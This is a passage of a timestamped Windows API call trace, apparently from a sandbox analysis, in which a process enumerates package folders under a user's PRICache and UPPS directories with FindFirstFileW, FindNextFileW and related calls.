lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x8a [0179.943] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79e84fa9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79e84fa9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79e84fa9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0179.948] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79e84fa9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79e84fa9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79e84fa9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.948] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79e84fa9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79e84fa9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79e84fa9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.948] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0179.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.949] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy", lpFilePart=0x0) returned 0x6c [0179.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.949] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy", lpFilePart=0x0) returned 0x6c [0179.949] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c1636cc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c1636cc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c1636cc, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0179.949] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c1636cc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c1636cc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c1636cc, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.949] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c1636cc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c1636cc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c1636cc, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.949] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0179.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.949] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy", lpFilePart=0x0) returned 0x62 [0179.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.949] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy", lpFilePart=0x0) returned 0x62 [0179.950] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db04be3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db04be3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db04be3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f410 [0179.950] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db04be3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db04be3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db04be3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.950] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db04be3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db04be3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db04be3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.950] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0179.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.950] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy", lpFilePart=0x0) returned 0x69 [0179.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.950] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy", lpFilePart=0x0) returned 0x69 [0179.950] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e3f592b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e3f592b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e3f592b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f8d0 [0179.951] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e3f592b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e3f592b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e3f592b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.951] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e3f592b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e3f592b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e3f592b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.951] FindClose (in: hFindFile=0x135f8d0 | out: hFindFile=0x135f8d0) returned 1 [0179.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.951] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x80 [0179.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.952] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x80 [0179.952] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd33b5198, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd33b5198, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd33b5198, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0179.952] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd33b5198, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd33b5198, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd33b5198, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff0) returned 1 [0179.979] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\UPPS", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\UPPS", lpFilePart=0x0) returned 0x34 [0179.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.979] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\UPPS", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\UPPS", lpFilePart=0x0) returned 0x34 [0179.979] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\UPPS\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6e2eece, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x6957182f, ftLastAccessTime.dwHighDateTime=0x1d5e878, ftLastWriteTime.dwLowDateTime=0x6957182f, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.979] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6e2eece, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x6957182f, ftLastAccessTime.dwHighDateTime=0x1d5e878, ftLastWriteTime.dwLowDateTime=0x6957182f, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.980] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6957182f, ftCreationTime.dwHighDateTime=0x1d5e878, ftLastAccessTime.dwLowDateTime=0x6957182f, ftLastAccessTime.dwHighDateTime=0x1d5e878, ftLastWriteTime.dwLowDateTime=0x6957182f, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="UPPS.bin", cAlternateFileName="")) returned 1 [0179.980] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.980] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.980] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\UPPS", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\UPPS", lpFilePart=0x0) returned 0x34 [0179.980] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\UPPS\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6e2eece, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x6957182f, ftLastAccessTime.dwHighDateTime=0x1d5e878, ftLastWriteTime.dwLowDateTime=0x6957182f, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.980] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6e2eece, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x6957182f, 